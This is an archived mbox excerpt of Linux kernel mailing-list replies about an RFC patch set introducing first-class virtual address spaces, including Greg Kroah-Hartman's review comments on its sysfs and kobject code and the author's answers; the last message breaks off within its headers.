X-Trace: blaine.gmane.org 1489450826 2193 195.159.176.226 (14 Mar 2017 00:20:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 00:20:26 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.7.0
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-media@vger.kernel.org, linux-mtd@lists.infradead.org,
        linux-usb@vger.kernel.org, linux-fsdevel@vger.kernel.org,
        linux-aio@kvack.org, linux-mm@kvack.org, linux-api@vger.kernel.org,
        linux-arch@vger.kernel.org, alsa-devel@alsa-project.org
To: Till Smejkal <till.smejkal@googlemail.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Steven Miao <realmz6@gmail.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        James Hogan <james.hogan@imgtec.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carste
Original-X-From: linux-mips-bounce@linux-mips.org Tue Mar 14 01:20:19 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cnaCF-0007gz-FP
	for sgi-linux-mips@gmane.org; Tue, 14 Mar 2017 01:20:15 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id 0108852c-084c-11e7-b719-b499baa2b07a;
	Tue, 14 Mar 2017 00:20:18 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:41680 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23994629AbdCNAUP1EKZY (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 14 Mar 2017 01:20:15 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 14 Mar 2017 01:20:00 +0100 (CET)
Original-Received: from mail-qk0-x244.google.com ([IPv6:2607:f8b0:400d:c09::244]:34141
        "EHLO mail-qk0-x244.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23994627AbdCNATxkLZVY (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 14 Mar 2017 01:19:53 +0100
Original-Received: by mail-qk0-x244.google.com with SMTP id v125so39074744qkh.1;
        Mon, 13 Mar 2017 17:19:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=taDSwUGEKnV9WIQK0x+I3Qu8Yor/n0NsygTJeyBmzYg=;
        b=fWU1TTuuLlBNpsAWp5voybxLgZmJLHivc1bB4+GJ8Y9Hm42bf49XBvBFgz0DQRehof
         uRGjdJdox554fgZbM3JUue4gLEf/Q/UXA2yPo3SmMSKhhtybpn0nYsG1dMkyBfT6CqOH
         NeoDZ1LfEC/SEyuUYTNDmIhOx0Lbl6s1p8etrkIUxS0VE7uVCfJ1eIQuefwaKEove5hP
         mTrkqLlsST5jHz1y+6c+srOC1JTi1LqDoFiMqwQ8S4AepvQ7ANygxnsr/7hW7lFjE46J
         p1OO+CyLBMlJ91uxzaLFA5jmAsn69we5+hXQqpzOUU9nNbiuqqKN8mbWY8C1NebID3lN
         92kw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:subject:to:references:cc:from:message-id
         :date:user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=taDSwUGEKnV9WIQK0x+I3Qu8Yor/n0NsygTJeyBmzYg=;
        b=ELrTzxT0NXl0r7aY60QLm805Y3dK8ff+Kc6k9rnbXT08wv0rTpf9ZALZYsOZyPui84
         dyFzYWNlZLW8iPzfvLDGj7o9Y7Kf5zK1lPtnOwqWl0L+TH+rNGQHwKvLFLQLBqsS3X/P
         /+gjeMTn/RAhgScRSvdpySThHIyayqlh34mmmfi8O5RVJo+w81x3JDT16ojxWpe1HABu
         Bjgr8sIb+Kryc8nafs/OOB8ll1GfDnOZtY59/q7R95YhXA+QMcFSYGwabpfOKGZrb1kF
         bk91+HpBfIrCofFVQrrIpjir/km9kOnKk7mBXPHAl2fzk/0Fu0J/MA60vp6IXc6ozaax
         M05Q==
X-Gm-Message-State: AMke39nquc/c40Bzi9nxn4Qq/bMqESKM4By+Q8tyB0IkKf54sr9Jg7IdV8fK4D5ginRL3w==
X-Received: by 10.233.221.2 with SMTP id r2mr35202552qkf.159.1489450787837;
        Mon, 13 Mar 2017 17:19:47 -0700 (PDT)
Original-Received: from bigtime.twiddle.net ([220.240.225.200])
        by smtp.googlemail.com with ESMTPSA id q40sm13338555qtq.21.2017.03.13.17.19.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 17:19:47 -0700 (PDT)
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-archive-position: 57186
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rth@twiddle.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58349 gmane.linux.kernel:2431310 gmane.linux.ports.alpha:4138 gmane.linux.kernel.arc:2227 gmane.linux.ports.arm.kernel:564780 gmane.linux.ports.hexagon:1163 gmane.linux.ports.ia64:27702 gmane.linux.kernel.metag:1272 gmane.linux.ports.parisc:27330 gmane.linux.ports.ppc64.devel:139542 gmane.linux.ports.sh.devel:55136 gmane.linux.ports.sparc:24733 gmane.linux.drivers.video-input-infrastructure:114759 gmane.linux.drivers.mtd:72547 gmane.linux.usb.general:156128 gmane.linux.file-systems:119100 gmane.linux.kernel.aio.general:4952 gmane.linux.kernel.mm:168277 gmane.linux.kernel.api:22536 gmane.linux.kernel.cross-arch:35544 gmane.linux.alsa.devel:165321
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58349>

On 03/14/2017 08:14 AM, Till Smejkal wrote:
> At the current state of the development, first class virtual address spaces
> have one limitation, that we haven't been able to solve so far. The feature
> allows, that different threads of the same process can execute in different
> AS at the same time. This is possible, because the VAS-switch operation
> only changes the active mm_struct for the task_struct of the calling
> thread. However, when a thread switches into a first class virtual address
> space, some parts of its original AS are duplicated into the new one to
> allow the thread to continue its execution at its current state.
> Accordingly, parts of the processes AS (e.g. the code section, data
> section, heap section and stack sections) exist in multiple AS if the
> process has a VAS attached to it. Changes to these shared memory regions
> are synchronized between the address spaces whenever a thread switches
> between two of them. Unfortunately, in some scenarios the kernel is not
> able to properly synchronize all these shared memory regions because of
> conflicting changes. One such example happens if there are two threads, one
> executing in an attached first class virtual address space, the other in
> the tasks original address space. If both threads make changes to the heap
> section that cause expansion of the underlying vm_area_struct, the kernel
> cannot correctly synchronize these changes, because that would cause parts
> of the virtual address space to be overwritten with unrelated data. In the
> current implementation such conflicts are only detected but not resolved
> and result in an error code being returned by the kernel during the VAS
> switch operation. Unfortunately, that means for the particular thread that
> tried to make the switch, that it cannot do this anymore in the future and
> accordingly has to be killed.

This sounds like a fairly fundamental problem to me.

Is this an indication that full virtual address spaces are useless?  It would 
seem like if you only use virtual address segments then you avoid all of the 
problems with executing code, active stacks, and brk.


r~



From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 10/13] mm: Introduce first class virtual address
 spaces
Date: Mon, 13 Mar 2017 17:24:48 -0700
Lines: 156
Approved: news@gmane.org
Message-ID: <20170314002448.hwbxlasbbz3shhlv@arch-dev>
References: <20170313235225.GA15359@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489451104 4743 195.159.176.226 (14 Mar 2017 00:25:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 00:25:04 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalia
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: owner-linux-aio@kvack.org Tue Mar 14 01:24:52 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnaGe-0008K4-Ef
	for gla-linux-aio@m.gmane.org; Tue, 14 Mar 2017 01:24:48 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 5E69A6B0038; Mon, 13 Mar 2017 20:24:54 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 522476B0388; Mon, 13 Mar 2017 20:24:54 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 34B536B038B; Mon, 13 Mar 2017 20:24:54 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f197.google.com (mail-wr0-f197.google.com [209.85.128.197])
	by kanga.kvack.org (Postfix) with ESMTP id C2BF56B0038
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 20:24:53 -0400 (EDT)
Original-Received: by mail-wr0-f197.google.com with SMTP id u108so47111915wrb.3
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 17:24:53 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=WSkCJ05o0IY201LT96wOxOd6Lialtwh6WrJbdxozHt4=;
        b=FsE9DPrDGwMmfI/m3XphTl7zLtYA71XgmCnJW9JhiNuAlTz2/b57TmiKsIS/QGWIqX
         OXjKq4Pjlt7QT0g/CTs4o6Gml1+xs0nukce9JXbnNmNjSUC+mKOqZ/2MVe1HT0RBxE+m
         8AtHn7HWQ5P4w2RryPyLJnyyDJ8+EIWvFIyhAWxHippjE3Z/jdoswBksBqSiPeiIjsSs
         EIwFhVZeibPSY04aDWPiLV3Xbs3dn8SdAGh6Qmd0uRVkPl/cjC1aFm7pbHPUairYFZFx
         NHVRt/HclE1g65LWG6FMggwpFZW01dLtgRU9pstvrsjQ+vdfPVpejRjPyVKmKJoxU9uM
         aI7g==
X-Gm-Message-State: AFeK/H0mElBa3krZ5OOjc4FO2K/dBc2uNCQiLt4Vfaz1FqmJ1kQVacioK2B4ARsgYsdpkYN0LzGPrqyK2m+T/tCrbiyg82PJqiiLmanSmSxpBJ7vOjjY5qN3aAXPhbZQqhpXf+QGeUX3sO/mGyc10UbB4zUOOMvpEThpRpair8au1s3rH6p0fD18qtWcLwNLk8GANBgXjA6al2axewj2FI+7cV8ze10zNiYFVkn/V2CxJYadUgATVGeud2H4RI7ywBcfuxQy/kHolTQ1ABKbB6UJbtn1VAO4TaPK/jzdJHuBikfy7BJvyD8=
X-Received: by 10.28.152.212 with SMTP id a203mr11790170wme.36.1489451093255;
        Mon, 13 Mar 2017 17:24:53 -0700 (PDT)
X-Received: by 10.28.152.212 with SMTP id a203mr11790155wme.36.1489451092568;
        Mon, 13 Mar 2017 17:24:52 -0700 (PDT)
Original-Received: from mail-wr0-x244.google.com (mail-wr0-x244.google.com. [2a00:1450:400c:c0c::244])
        by mx.google.com with ESMTPS id 196si12919412wmg.65.2017.03.13.17.24.52
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 17:24:52 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) client-ip=2a00:1450:400c:c0c::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x244.google.com with SMTP id u108so22034401wrb.2;
        Mon, 13 Mar 2017 17:24:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=WSkCJ05o0IY201LT96wOxOd6Lialtwh6WrJbdxozHt4=;
        b=bu7XsNV9QJXIYA2Mmup/0yfyM3/CmADewgBAjUWw+lPycygZ3tUf8kKhE5lWzQkOEJ
         ol/+zyapz6qMeIk5U6YNPKd17KdXXbtLbsO4Brglc/+0847e6FyyBot9Sy1mnIj1ZoZq
         3ypzMz4GJAaDTsSgZyN0fhNMyq5qrgvZW3+Rw+IKWahVDug04muj+JbRAHOqM3TrfwtI
         OX1W+KFZ+FJPsNiBirLBoHYcq3d+EmuFfMO/+BU60EU1CEqILuI+FIM8Zm/SyA17UKaS
         DdxU9mSMCUPxtwVYYsnrUTTJr6aqc4RqMCV5J0nHdEPxYO9NUfM2P1Fuecv0AJQeY9Ip
         5mJQ==
X-Received: by 10.223.174.131 with SMTP id y3mr30198621wrc.40.1489451091887;
        Mon, 13 Mar 2017 17:24:51 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id s26sm26986464wra.66.2017.03.13.17.24.50
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 17:24:51 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	 
Content-Disposition: inline
In-Reply-To: <20170313235225.GA15359@kroah.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4953 gmane.linux.kernel:2431311 gmane.linux.ports.alpha:4139 gmane.linux.kernel.arc:2228 gmane.linux.ports.arm.kernel:564781 gmane.linux.ports.hexagon:1164 gmane.linux.ports.ia64:27703 gmane.linux.kernel.metag:1273 gmane.linux.ports.mips.general:58350 gmane.linux.ports.parisc:27331 gmane.linux.ports.ppc64.devel:139543 gmane.linux.ports.sh.devel:55137 gmane.linux.ports.sparc:24734 gmane.linux.drivers.video-input-infrastructure:114760 gmane.linux.drivers.mtd:72548 gmane.linux.usb.general:156129 gmane.linux.file-systems:119101 gmane.linux.kernel.mm:168278 gmane.linux.kernel.api:22537 gmane.linux.kernel.cross-arch:35545 gmane.linux.alsa.devel:165322
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4953>

Hi Greg,

First of all thanks for your reply.

On Tue, 14 Mar 2017, Greg Kroah-Hartman wrote:
> On Mon, Mar 13, 2017 at 03:14:12PM -0700, Till Smejkal wrote:
> 
> There's no way with that many cc: lists and people that this is really
> making it through very many people's filters and actually on a mailing
> list.  Please trim them down.

I am sorry that the patch's cc-list is too big. This was the list of people that the
get_maintainers.pl script produced. I already recognized that it was a huge number of
people, but I didn't want to remove anyone from the list because I wasn't sure who
would be interested in this patch set. Do you have any suggestion who to remove from
the list? I don't want to annoy anyone with useless emails.

> Minor sysfs questions/issues:
> 
> > +struct vas {
> > +	struct kobject kobj;		/* < the internal kobject that we use *
> > +					 *   for reference counting and sysfs *
> > +					 *   handling.                        */
> > +
> > +	int id;				/* < ID                               */
> > +	char name[VAS_MAX_NAME_LENGTH];	/* < name                             */
> 
> The kobject has a name, why not use that?

The reason why I don't use the kobject's name is that I don't restrict the names that
are used for VAS/VAS segments. Accordingly, it would be allowed to use a name like
"foo/bar/xyz" as VAS name. However, I am not sure what would happen in the sysfs if I
would use such a name for the kobject. Especially, since one could think of another
VAS with the name "foo/bar" whose name would conflict with the first one although it
not necessarily has any connection with it.

> > +
> > +	struct mutex mtx;		/* < lock for parallel access.        */
> > +
> > +	struct mm_struct *mm;		/* < a partial memory map containing  *
> > +					 *   all mappings of this VAS.        */
> > +
> > +	struct list_head link;		/* < the link in the global VAS list. */
> > +	struct rcu_head rcu;		/* < the RCU helper used for          *
> > +					 *   asynchronous VAS deletion.       */
> > +
> > +	u16 refcount;			/* < how often is the VAS attached.   */
> 
> The kobject has a refcount, use that?  Don't have 2 refcounts in the
> same structure, that way lies madness.  And bugs, lots of bugs...
> 
> And if this really is a refcount (hint, I don't think it is), you should
> use the refcount_t type.

I actually use both the internal kobject refcount to keep track of how often a
VAS/VAS segment is referenced and this 'refcount' variable to keep track how often
the VAS is actually attached to a task. They not necessarily must be related to each
other. I can rename this variable to attach_count. Or if preferred I can
alternatively only use the kobject reference counter and remove this variable
completely though I would loose information about how often the VAS is attached to a
task because the kobject reference counter is also used to keep track of other
variables referencing the VAS.

> > +/**
> > + * The sysfs structure we need to handle attributes of a VAS.
> > + **/
> > +struct vas_sysfs_attr {
> > +	struct attribute attr;
> > +	ssize_t (*show)(struct vas *vas, struct vas_sysfs_attr *vsattr,
> > +			char *buf);
> > +	ssize_t (*store)(struct vas *vas, struct vas_sysfs_attr *vsattr,
> > +			 const char *buf, size_t count);
> > +};
> > +
> > +#define VAS_SYSFS_ATTR(NAME, MODE, SHOW, STORE)				\
> > +static struct vas_sysfs_attr vas_sysfs_attr_##NAME =			\
> > +	__ATTR(NAME, MODE, SHOW, STORE)
> 
> __ATTR_RO and __ATTR_RW should work better for you.  If you really need
> this.

Thank you. I will have a look at these functions.

> Oh, and where is the Documentation/ABI/ updates to try to describe the
> sysfs structure and files?  Did I miss that in the series?

Oh sorry, I forgot to add this file. I will add the ABI descriptions for future
submissions.

> > +static ssize_t __show_vas_name(struct vas *vas, struct vas_sysfs_attr *vsattr,
> > +			       char *buf)
> > +{
> > +	return scnprintf(buf, PAGE_SIZE, "%s", vas->name);
> 
> It's a page size, just use sprintf() and be done with it.  No need to
> ever check, you "know" it will be correct.

OK. I was following the sysfs example in the documentation that used scnprintf, but
if sprintf is preferred, I can change this.

> Also, what about a trailing '\n' for these attributes?

I will change this.

> Oh wait, why have a name when the kobject name is already there in the
> directory itself?  Do you really need this?

See above.

> > +/**
> > + * The ktype data structure representing a VAS.
> > + **/
> > +static struct kobj_type vas_ktype = {
> > +	.sysfs_ops = &vas_sysfs_ops,
> > +	.release = __vas_release,
> 
> Why the odd __vas* naming?  What's wrong with vas_release?

I was using the __* naming scheme for functions that have no other meaning outside of
my source file. But I can change this if people don't like it. I have no strong
feelings about the names of the functions.

> > +	.default_attrs = vas_default_attr,
> > +};
> > +
> > +
> > +/***
> > + * Internally visible functions
> > + ***/
> > +
> > +/**
> > + * Working with the global VAS list.
> > + **/
> > +static inline void vas_remove(struct vas *vas)
> 
> <snip>
> 
> You have a ton of inline functions, for no good reason.  Make them all
> "real" functions please.  Unless you can measure the size/speed
> differences?  If so, please say so.

There was no specific reason why I declared the functions as inline except my hope to
reduce the function call for some of my very small functions. I can look more closely
at this and check whether there is some real benefit in inlining them and if not
remove it.

Thank you very much.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Mon, 13 Mar 2017 17:39:35 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20170314003935.2jwycgajo7eojmvm@arch-dev>
References: <73f62aca-d442-9e4b-3e2c-6269e2632e68@twiddle.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489451988 26254 195.159.176.226 (14 Mar 2017 00:39:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 00:39:48 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem
To: Richard Henderson <rth@twiddle.net>
Original-X-From: owner-linux-aio@kvack.org Tue Mar 14 01:39:36 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnaUw-0005f6-Rf
	for gla-linux-aio@m.gmane.org; Tue, 14 Mar 2017 01:39:35 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D5F256B0038; Mon, 13 Mar 2017 20:39:40 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id CE9956B038C; Mon, 13 Mar 2017 20:39:40 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B61F86B038D; Mon, 13 Mar 2017 20:39:40 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 5DA6D6B0038
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 20:39:40 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id u108so47157181wrb.3
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 17:39:40 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=kX6sEnfv8YQCir28cNWirD6F6mMiV4RXj8z30zPf8Ak=;
        b=IFnuOxQ/4SS+V0x5S3Rnx3oxJGKV6cXVvIj/XzMENo7BihWKueQibhCRSXEyc6Juqy
         ZZ27gSTl7Xz9anQOH5Bdzq0cupSjuY7XlwH5p8utIhbNo9qQwYW52IaHa3cnRwahCyUX
         mIqUyg9a2IPYBn8e0fjv2o7ncnKo46sE/5JFxXMLkM5weIxv5JBGm2YsAZveqWEOQkNs
         YhhzBiLX1hekyBgS/dieur7zJC0wik7eNO/ChYaSFSPBeosvcpbAMgs/vHZhnzioUJKp
